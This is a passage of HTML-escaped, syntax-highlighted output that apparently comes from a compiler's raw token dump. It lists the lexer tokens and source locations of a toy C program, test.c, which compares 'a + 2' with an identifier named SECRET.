&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;               Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_brace &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;     [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;              Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;equal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;               Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;semi &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;    &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;           Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span&gt;StartOfLine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;  Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;l_paren &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;              Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;plus &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;                Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;numeric_constant &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;            Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;equalequal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;         Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;unknown &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;             Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;raw_identifier &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;SECRET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;         Loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;test.c:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
